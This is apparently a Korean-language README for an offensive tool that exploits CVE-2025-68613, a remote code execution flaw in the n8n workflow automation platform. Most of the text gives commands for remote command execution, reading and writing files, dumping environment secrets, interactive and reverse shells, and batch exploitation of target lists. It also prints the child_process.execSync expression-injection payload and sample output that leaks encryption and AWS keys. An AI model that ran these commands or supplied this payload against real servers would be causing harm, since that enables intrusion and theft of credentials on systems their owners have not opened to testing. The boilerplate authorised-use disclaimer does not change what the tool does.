n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ 워크플로 자동화 원격 코드 실행
영향을 받는 버전:
패치된 버전:
--detect - 버전 탐지만 수행 (가장 빠르고 비침습적)--safe - 익스플로잇 없이 안전한 취약점 확인--poc - RCE 개념 증명 검증--exploit - 전체 익스플로잇 모드read <파일> - 원격 파일 읽기write <파일> <내용> - 대상에 파일 쓰기# Python 3.8 이상
python3 --version
# pip 패키지 관리자
pip3 --version
# 저장소 복제
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# 필요한 패키지 설치
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# 도움말 메뉴 표시
python3 n8n-godmode-ultimate.py -h
# n8n 버전 탐지 (비침습적)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# 안전한 취약점 확인
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# RCE 개념 증명
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# 전체 익스플로잇
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# 단일 명령 실행
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# 원격 파일 읽기
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# 원격 파일 쓰기
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# 환경 변수 추출
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# 대화형 셸
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# 파일에서 여러 대상 스캔
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# 배치 익스플로잇
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
targets.txt 형식:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
셸 모드 진입 후 (--shell):
n8n> whoami # 명령 실행
n8n> read /etc/passwd # 파일 읽기
n8n> env # 환경 변수 표시
n8n> info # 시스템 정보
n8n> history # 명령 기록
n8n> exit # 셸 종료
-u, --url URL 대상 n8n URL
-l, --list FILE 대상 URL이 포함된 파일
-t, --threads NUM 배치 스캔 스레드 수 (기본값: 10)
-e, --email EMAIL n8n 사용자 이메일
-p, --password PASS n8n 사용자 비밀번호
--detect 버전 탐지만 수행 (가장 빠름)
--safe 익스플로잇 없이 안전한 확인
--poc RCE 개념 증명
--exploit 전체 익스플로잇 모드
--god God 모드 활성화
--cmd COMMAND 단일 명령 실행
--read-file PATH 원격 파일 읽기
--write-file PATH 원격 파일 쓰기
--content DATA 쓰기 작업에 사용할 내용
--dump-env 모든 환경 변수 추출
--shell 대화형 셸 모드
--revshell HOST:PORT 리버스 셸 페이로드
--mode MODE 익스플로잇 모드: schedule|webhook|code|expression (기본값: schedule)
--timeout SEC 명령 타임아웃 (초) (기본값: 30)
--cleanup 실행 후 워크플로 삭제
-k, --insecure SSL 확인 비활성화
-v, --verbose 상세 출력
-q, --quiet 최소 출력
3초마다 자동 실행되는 스케줄 트리거가 있는 워크플로를 생성합니다. 가장 신뢰성 높은 방법입니다.
Payload: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
트리거될 때 명령을 실행하는 HTTP 웹훅 엔드포인트를 생성합니다.
child_process 접근이 있는 코드 노드에 직접 코드를 주입합니다.
n8n의 표현식 평가 시스템을 통한 수동 실행입니다.
로그인 페이지의 base64로 인코딩된 Sentry 구성에서 버전을 추출합니다:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />
/rest/login - 인증/rest/workflows - 워크플로 CRUD 작업/rest/credentials - 자격 증명 열거/rest/executions - 실행 로그 검색/rest/users - 사용자 열거/rest/settings - 시스템 구성[*] n8n God Mode Ultimate v1.0.0
[*] 대상: https://target.example.com
[✓] n8n 버전: 1.36.1
[!] 상태: 취약 (< 1.120.4)
[*] 인증 성공
[*] 익스플로잇 워크플로 생성 중...
[*] 워크플로 ID: hd6LxSY765WBThqd
[*] 명령 실행: whoami
[✓] 명령 실행 성공!
[+] 출력: root
n8n> whoami
[+] root
n8n> read /etc/hostname
[+] n8n-production-server
n8n> env
[+] 환경 변수:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...
승인된 보안 테스트 전용
이 도구는 교육 목적 및 승인된 보안 테스트를 위해 제공됩니다. 사용자는 모든 관련 법률 및 규정을 준수해야 합니다.
다음을 반드시 준수해야 합니다:
다음을 해서는 안 됩니다:
저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 다음 법률에 따라 불법입니다:
사용 시 위험을 감수하십시오. 귀하의 행동에 대한 책임은 귀하에게 있습니다.
기여를 환영합니다! 다음 지침을 따라주세요:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Satyam Rastogi
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
MIT License
Copyright (c) 2025 Satyam Rastogi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
보안 문제는 책임감 있게 보고해 주세요:
⭐ 유용하다면 이 저장소에 별표를 눌러주세요!
보안 연구자들이 보안 연구자들을 위해 💻로 만들었습니다